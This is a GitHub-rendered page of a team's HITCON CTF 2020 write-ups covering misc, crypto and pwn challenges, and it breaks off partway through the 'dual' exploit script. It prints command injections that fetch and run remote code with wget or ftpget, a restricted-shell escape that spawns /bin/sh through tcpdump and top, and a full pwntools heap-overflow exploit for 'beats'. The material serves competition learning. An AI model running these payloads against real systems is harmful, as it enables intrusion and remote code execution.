-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathindex.html
901 lines (792 loc) · 61.5 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>HITCON CTF 2020</title>
<link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
<link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
<link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
<link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
<script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
<script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
<script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
</head>
<style>
body {
padding-top: 56px;
}
.sticky-offset {
top: 56px;
}
#body-row {
margin-left:0;
margin-right:0;
}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
}
.sidebar-submenu {
font-size: 0.9rem;
}
/* Separators */
.sidebar-separator-title {
background-color: #333;
height: 35px;
}
.sidebar-separator {
background-color: #333;
height: 25px;
}
.logo-separator {
background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
*/
:target:before {
content:"";
display:block;
height:56px; /* fixed header height*/
margin:-56px 0 0; /* negative fixed header height */
}
</style>
<script>
// https://stackoverflow.com/a/48330533
$(window).on('activate.bs.scrollspy', function (event) {
let active_collapse = $($('.list-group-item.active').parents()[0]);
$(".collapse").removeClass("show");
active_collapse.addClass("show");
let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
$('a[href^="#submenu"]').css("border-left", "");
parent_menu.css("border-left","#e69138 solid 4px");
});
// http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
MathJax.Hub.Config({
tex2jax: {
inlineMath: [['$','$'], ['\\(','\\)']],
processEscapes: true
}
});
</script>
<body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
<nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav my-2 my-lg-0">
<li class="nav-item dropdown d-sm-block d-md-none">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
misc
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#oshell">oshell</a>
<a class="dropdown-item" href="#baby-shark">baby-shark</a>
<a class="dropdown-item" href="#baby-shark-revenge">baby-shark-revenge</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
crypto
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#another-secret-note">another-secret-note</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
pwn
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#archangel-michael's-storage">archangel-michael's-storage</a>
<a class="dropdown-item" href="#spark">spark</a>
<a class="dropdown-item" href="#beats">beats</a>
<a class="dropdown-item" href="#dual">dual</a>
<a class="dropdown-item" href="#revenge-of-pwn">revenge-of-pwn</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
reverse
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#tenet">tenet</a>
<a class="dropdown-item" href="#sop">sop</a>
<a class="dropdown-item" href="#11011001">11011001</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
forensics
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#ac1750">ac1750</a>
</div>
</li>
</ul>
</div>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</ul>
</div>
</nav>
<div class="row" id="body-row">
<div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
<ul class="list-group sticky-top sticky-offset">
<a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">misc</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu0" class="collapse sidebar-submenu">
<a href="#oshell" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">oshell</span>
</a>
<a href="#baby-shark" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">baby-shark</span>
</a>
<a href="#baby-shark-revenge" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">baby-shark-revenge</span>
</a>
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">crypto</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu1" class="collapse sidebar-submenu">
<a href="#another-secret-note" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">another-secret-note</span>
</a>
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">pwn</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#archangel-michael's-storage" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">archangel-michael's-storage</span>
</a>
<a href="#spark" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">spark</span>
</a>
<a href="#beats" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">beats</span>
</a>
<a href="#dual" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">dual</span>
</a>
<a href="#revenge-of-pwn" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">revenge-of-pwn</span>
</a>
</div>
<a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">reverse</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu3" class="collapse sidebar-submenu">
<a href="#tenet" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">tenet</span>
</a>
<a href="#sop" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">sop</span>
</a>
<a href="#11011001" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">11011001</span>
</a>
</div>
<a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">forensics</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu4" class="collapse sidebar-submenu">
<a href="#ac1750" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">ac1750</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="hitcon-ctf-2020"><a class="header-link" href="#hitcon-ctf-2020"></a>HITCON CTF 2020</h1>
<h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="oshell"><a class="header-link" href="#oshell"></a>oShell</h3>
<p>In this challenge we have a limited sandbox shell. Only a few commands can be run: <code>top</code>, <code>htop</code>, <code>ping</code>, <code>traceroute</code> .... Those commands use busybox binary. The functionality is pretty limited.</p>
<p>There is also a command <code>enable</code> requiring password to execute (Cisco switches have this command as well), so the first step is to leak the password.</p>
<p>@Billy found <code>htop</code> supports <code>strace</code> on a process. We can <code>strace</code> another sandbox shell process and run <code>enable</code>. <code>strace</code> will leak the password through <code>read()</code> system call.</p>
<p>After <code>enable</code>, we have a new command <code>tcpdump</code>. <code>tcpdump -w</code> can write <a href="https://insinuator.net/2019/07/how-to-break-out-of-restricted-shells-with-tcpdump/">arbitrary files</a> with some limitation and <code>tcpdump -z</code> can run any system commands. However, we tried <code>tcpdump -z</code> but this version doesn't honor this feature:</p>
<pre class="hljs"><code>compress_savefile failed. Functionality <span class="hljs-keyword">not</span> implemented under your <span class="hljs-keyword">system</span></code></pre><p>We need to find another way to RCE.</p>
<p>@kaibro found <code>top</code> can <a href="https://gtfobins.github.io/gtfobins/top/#shell">be abused to RCE</a>, if we can write arbitray contents to <code>.toprc</code>. Therefore the idea is to <code>tcpdump -w .toprc</code> and run <code>top</code> to get shell.</p>
<p>Unfortunately, with <code>tcpdump -w</code> we can only partial control the output packet. <code>top</code> requires the header of <code>.toprc</code> to be correct. Otherwise it will fail to launch.</p>
<p>We also note that <code>top</code> can also save the initla configuration (with the correct header) to <code>.toprc</code> by pressing <code>W</code> in <code>top</code>. Thus, our exploit idea is:</p>
<ol class="list">
<li>run <code>top</code> in shell A, and save a correct <code>.toprc</code> file</li>
<li>run <code>tcpdump -w</code> in shell B to write <code>.toprc</code>. Now the <code>.toprc</code> is corrupted</li>
<li>send 7 - 8 packets to move the <code>tcpdump -w</code> offest after the header</li>
<li>save a correct <code>.toprc</code> file in shell A again</li>
<li>send the payload packets so <code>tcpdump -w</code> write the command after the coorect header</li>
<li>restart <code>top</code> in shell A and press <code>Y, <enter>, <enter></code> to get shell</li>
</ol>
<p>To control the output of <code>tcpdump packets</code>, <code>ping</code> and <code>traceroute</code> can be used. We use the UDP packet respone in <code>traceroute</code>.</p>
<p>tcpdump to <code>.toprc</code>:</p>
<pre class="hljs"><code>tcpdump -n -<span class="hljs-selector-tag">i</span> eth0 -w /home/oShell/<span class="hljs-selector-class">.toprc</span> -U -A udp port <span class="hljs-number">42345</span> -vvvv</code></pre><p>The UDP response which contains our payload:</p>
<pre class="hljs"><code>ncat -klu <span class="hljs-number">42345</span> -v --sh-exec <span class="hljs-string">"echo -e '<span class="hljs-subst">\n</span>pipe<span class="hljs-subst">\t</span>x<span class="hljs-subst">\t</span>exec /bin/sh 1>&0 2>&0'"</span></code></pre><p>The traceroute command. We need to specify the first hop number in <code>-f</code> and the UDP base port <code>-p</code>:</p>
<pre class="hljs"><code>traceroute -i eth0 -p <span class="hljs-number">42344</span> -f <span class="hljs-number">12</span> <span class="hljs-number">240.240</span><span class="hljs-number">.240</span><span class="hljs-number">.240</span></code></pre><p>Flag: <code>HITCON{A! AAAAAAAAAAAA! SHAR~K!!!}</code></p>
<h3 id="baby-shark"><a class="header-link" href="#baby-shark"></a>Baby Shark</h3>
<p>Command injection using <code>;</code>:</p>
<pre class="hljs"><code>ls ; wget kaibro.tw
ls ; sh index.html</code></pre><p>Flag: <code>hitcon{i_Am_s0_m155_s3e11sh0ck}</code></p>
<h3 id="baby-shark-revenge"><a class="header-link" href="#baby-shark-revenge"></a>Baby Shark Revenge</h3>
<h4 id="solution-1"><a class="header-link" href="#solution-1"></a>Solution 1</h4>
<p>by <a href="https://twitter.com/kaikaibro">@kaibro</a></p>
<p>Command injection using <code>()</code>. Bypass <code>.</code> limitation using decimal ip address.</p>
<p>Because <code>wget</code> in busybox cannot specifiy the name without <code>-o</code>, we use <code>ftpget</code> to download the file with a custom filename.</p>
<pre class="hljs"><code>ls ()ftpget 921608994:10001 meow123 meow123
ls ()sh meow123</code></pre><p>Flag: <code>hitcon{r3v3ng3_f0r_semic010n_4nd_th4nks}</code></p>
<h4 id="solutoin-2"><a class="header-link" href="#solutoin-2"></a>Solutoin 2</h4>
<p>by bookgin</p>
<pre class="hljs"><code>> <span class="hljs-keyword">ls</span> ()<span class="hljs-keyword">python3</span>
> <span class="hljs-keyword">ls</span>
> <span class="hljs-keyword">find</span> =chr(<span class="hljs-number">0</span>x5f)+chr(<span class="hljs-number">0</span>x5f)+ ...
> <span class="hljs-keyword">find</span>
> id ,<span class="hljs-built_in">eval</span>(<span class="hljs-keyword">find</span>)
> id</code></pre><h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="another-secret-note"><a class="header-link" href="#another-secret-note"></a>another secret note</h3>
<p>In this challenge, this key will never change</p>
<pre class="hljs"><code>open(<span class="hljs-string">'key'</span>,<span class="hljs-string">'rb'</span>).read()</code></pre><p>The service given two mainly function :</p>
<ul class="list">
<li><p>register :</p>
<ul class="list">
<li>Encrypt <code>{'secret': 'hitcon{JSON_is_5', 'who': 'user', "name": @name}</code> with any name in ascii character</li>
</ul>
</li>
<li><p>login :</p>
<ol class="list">
<li><p>Decrypt the token, and you can set the IV if you want.
(Note that if you set the IV, The default IV will change. We can use this feature to do something.)</p>
</li>
<li><p>Make 'cmd' exists in decrypted token, you can execute given function.</p>
<ul class="list">
<li>get_secret </li>
<li>get_time</li>
<li>note </li>
<li>read_note</li>
</ul>
</li>
<li><p>Encrypted the data again.</p>
</li>
</ol>
</li>
</ul>
<p>We know that <code>json.loads</code> will format the json and merge the same key:</p>
<pre class="hljs"><code>json.loads(<span class="hljs-string">'{"a":"z","b":"y"}'</span>)
<span class="hljs-comment"># -> {'a': 'z', 'b': 'y'}</span>
json.loads(<span class="hljs-string">'{"":"a","":"b"}'</span>)
<span class="hljs-comment"># -> {'': 'b'}</span></code></pre><p>We can use these feature to pull the message out and make Encryption Oracle.</p>
<p>Exploit :</p>
<p>Fixed the IV, and pull bytes from bytes.</p>
<p>Get All pair in ascii range :</p>
<pre class="hljs"><code><span class="hljs-number">0123456789</span>ABCDEF
{<span class="hljs-string">"secret"</span>: <span class="hljs-string">"hitc` <- First block
{"</span><span class="hljs-string">": 12, "</span>t<span class="hljs-string">": "</span> <- Set IV to change first block
{<span class="hljs-string">""</span>: <span class="hljs-number">12</span>, <span class="hljs-string">"t"</span>: <span class="hljs-string">"o <- After Login</span></code></pre><p>Find the match cipher to get the flag</p>
<pre class="hljs"><code>{<span class="hljs-string">""</span>: <span class="hljs-number">12</span>, <span class="hljs-string">"t"</span>: <span class="hljs-string">"a
{"</span><span class="hljs-string">": 12, "</span>t<span class="hljs-string">": "</span>b
{<span class="hljs-string">""</span>: <span class="hljs-number">12</span>, <span class="hljs-string">"t"</span>: <span class="hljs-string">"C
...
{"</span><span class="hljs-string">": 12, "</span>t<span class="hljs-string">": "</span>~</code></pre><p>user_secret: <code>hitcon{JSON_is_5</code></p>
<hr>
<p>Use <code>register</code> command brute force ascii range prefix, </p>
<p>we can get <code>prefix + (iv ^ data ^ prefix_iv)</code> and do any encryption.</p>
<p>Find the pattern : </p>
<pre class="hljs"><code>pattern = <span class="hljs-string">'****************et","":"*'</span>+<span class="hljs-string">'*************","who":"admin","":"************","name":"admin","":"**********************","":"******"}\x01'</span>
(<span class="hljs-string">'*'</span> can be any ascii)</code></pre><p>and change IV to make the first block become <code>"cmd": "get_secr</code> and we can get the encrypted <code>admin_secret</code>.</p>
<p>Afthe here is same as <code>user_secret</code>, just pull the flag byte by byte and do encryption oracle to find the secret.</p>
<p>admin_secret: <code>0_woNderFul!@##}</code></p>
<p>FLAG : <code>hitcon{JSON_is_50_woNderFul!@##}</code></p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="archangel-michael's-storage"><a class="header-link" href="#archangel-michael's-storage"></a>Archangel Michael's Storage</h3>
<ul class="list">
<li>Vulnerability<ul class="list">
<li>OOB write negative index on Type 3 storage</li>
</ul>
</li>
<li>Exploit<ul class="list">
<li>Trick VS subsegment (<code>real_size</code>) into smaller <code>fake_size</code>, where <code>fake_size</code> < <code>real_size</code>, such that the whole VS subsegment will be freed after <code>fake_size</code> chunk is freed, this will lead to overlapped chunk as we only free <code>fake_size</code> chunk but <code>real_size</code> is freed</li>
<li>With pre-controlled layout and overlapped chunk, we can leak heap address</li>
<li>Leak <code>ntdll</code>, <code>kernel32</code>, <code>PEB</code>, <code>TEB</code>, stack address to ROP</li>
<li><a href="https://github.com/how2hack/CTF-writeups/blob/master/2020/hitcon/MichaelStorage/exp.py">https://github.com/how2hack/CTF-writeups/blob/master/2020/hitcon/MichaelStorage/exp.py</a></li>
</ul>
</li>
<li>Flag: <code>hitcon{S3gm3nt_H34p_1s_th3_h34ven_F34l_4_u}</code></li>
</ul>
<h3 id="spark"><a class="header-link" href="#spark"></a>Spark</h3>
<ul class="list">
<li>Crash to leak kernel heap and stack address.</li>
<li>Overwrite Node struct using distance array by UAF.</li>
<li>Use <code>msgsnd</code> <code>msgrcv</code> to change <code>index</code> of UAF node repeatly.</li>
<li>Use <code>dis[edge->node->index]</code> to arbitrary write.</li>
<li>Write value to userland and search offset.</li>
<li><code>modprobe_path</code>
<a href="https://github.com/yuawn/CTF/tree/master/2020/hitcon/spark">https://github.com/yuawn/CTF/tree/master/2020/hitcon/spark</a></li>
</ul>
<h3 id="beats"><a class="header-link" href="#beats"></a>Beats</h3>
<pre class="hljs"><code>#!/usr/bin/env python
# -*- coding: utf<span class="hljs-number">-8</span> -*-
from pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> <span class="hljs-built_in">random</span>
host = <span class="hljs-string">'18.178.221.5'</span>
port = <span class="hljs-number">4869</span>
<span class="hljs-built_in">binary</span> = <span class="hljs-string">"./beats"</span>
context.<span class="hljs-built_in">binary</span> = <span class="hljs-built_in">binary</span>
elf = ELF(<span class="hljs-built_in">binary</span>)
<span class="hljs-keyword">try</span>:
libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
<span class="hljs-built_in">log</span>.success(<span class="hljs-string">"libc load success"</span>)
system_off = libc.symbols.system
<span class="hljs-built_in">log</span>.success(<span class="hljs-string">"system_off = "</span>+<span class="hljs-built_in">hex</span>(system_off))
except:
<span class="hljs-built_in">log</span>.failure(<span class="hljs-string">"libc not found !"</span>)
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
r = remote(<span class="hljs-string">"127.0.0.1"</span> ,<span class="hljs-number">4869</span>)
#r = process([<span class="hljs-built_in">binary</span>, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})
<span class="hljs-keyword">else</span>:
r = remote(host ,port)
def rol(val, r_bits, <span class="hljs-built_in">size</span>=<span class="hljs-number">64</span>):
<span class="hljs-keyword">return</span> (val << r_bits%<span class="hljs-built_in">size</span>) & (<span class="hljs-number">2</span>**<span class="hljs-built_in">size</span><span class="hljs-number">-1</span>) | \
((val & (<span class="hljs-number">2</span>**<span class="hljs-built_in">size</span><span class="hljs-number">-1</span>)) >> (<span class="hljs-built_in">size</span>-(r_bits%<span class="hljs-built_in">size</span>)))
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
r.recvuntil(<span class="hljs-string">":"</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">":"</span>)
tls_dtor_list = <span class="hljs-number">0x404110</span>
r.sendline(p32(<span class="hljs-number">0x19</span>) + p32(<span class="hljs-number">0xb</span>) + p64(<span class="hljs-number">0x4040a0</span>) + <span class="hljs-string">"D"</span>*<span class="hljs-number">0x48</span> + p32(<span class="hljs-number">0x19</span>) + p32(<span class="hljs-number">2</span>) + p32(<span class="hljs-number">0x19</span>) + p32((<span class="hljs-number">0x224a8</span>+<span class="hljs-number">8</span> + <span class="hljs-number">0x80</span>)/<span class="hljs-number">8</span>) + p32(<span class="hljs-number">0x19</span>) + p32((<span class="hljs-number">0x20f00</span>)/<span class="hljs-number">8</span>) + cyclic(<span class="hljs-number">0x21000</span>) + p64(<span class="hljs-number">0x426690</span>) + cyclic(<span class="hljs-number">0x22458</span><span class="hljs-number">-0x21008</span>) + p64(<span class="hljs-number">0x4040a0</span>) + p64(<span class="hljs-number">0x4444444444</span>)*<span class="hljs-number">6</span> + p64(tls_dtor_list) + p64(<span class="hljs-number">0x404000</span>) +<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x80</span> ) # calloc <span class="hljs-number">0x21000</span> <span class="hljs-built_in">size</span> chunk & heap overflow will overwrite tls_dtor_list & function pointer gruad(fs:<span class="hljs-number">0x30</span>)
r.recvuntil(<span class="hljs-string">":"</span>)
r.sendline(<span class="hljs-string">"2"</span>)
r.recvuntil(<span class="hljs-string">":"</span>)
puts_plt = <span class="hljs-number">0x0401140</span>
read_n = <span class="hljs-number">0x0401413</span>
setvbuf_got = <span class="hljs-number">0x403fe0</span>
r.send(<span class="hljs-string">"1"</span>.ljust(<span class="hljs-number">0x10</span>,<span class="hljs-string">"A"</span>))
payload = p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x81</span>) + p64(rol(puts_plt,<span class="hljs-number">0x11</span>)) + p64(setvbuf_got) + p64(<span class="hljs-number">0x434110</span>) + p64(<span class="hljs-number">0x404110</span>+<span class="hljs-number">0x100</span>) + p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">0x10</span>
payload = payload.ljust(<span class="hljs-number">0x100</span>,<span class="hljs-string">"A"</span>)
payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x81</span>) + p64(rol(read_n,<span class="hljs-number">0x11</span>)) + p64(<span class="hljs-number">0x404100</span>+<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0x434118</span>) + p64(<span class="hljs-number">0x404110</span>+<span class="hljs-number">0x200</span>)+ p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">0x10</span>
r.sendline(payload)
r.recvuntil(<span class="hljs-string">":Timeout"</span>) # Waiting <span class="hljs-keyword">for</span> timeout to trigger <span class="hljs-built_in">exit</span>() & use tls_dtor_list to control flow
libc = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0x813d0</span>
<span class="hljs-built_in">print</span>(<span class="hljs-string">"libc = {}"</span>.format(<span class="hljs-built_in">hex</span>(libc)))
system = <span class="hljs-number">0x4f550</span> + libc
payload = p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x51</span>) + p64(rol(system,<span class="hljs-number">0x11</span>)) + p64(<span class="hljs-number">0x404328</span>) + p64(<span class="hljs-number">0x434120</span>) + <span class="hljs-string">"/bin/sh\x00"</span>
r.sendline(payload)
r.interactive()</code></pre><h3 id="dual"><a class="header-link" href="#dual"></a>dual</h3>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> random
host = <span class="hljs-string">'13.231.226.137'</span>
port = <span class="hljs-number">9573</span>
binary = <span class="hljs-string">"./dual"</span>
context.binary = binary
elf = ELF(binary)
<span class="hljs-keyword">try</span>:
libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
log.success(<span class="hljs-string">"libc load success"</span>)
system_off = libc.symbols.system
log.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
<span class="hljs-keyword">except</span>:
log.failure(<span class="hljs-string">"libc not found !"</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_note</span><span class="hljs-params">(idd)</span>:</span>
r.recvuntil(<span class="hljs-string">"op>\n"</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">"pred_id>\n"</span>)
r.sendline(str(idd))
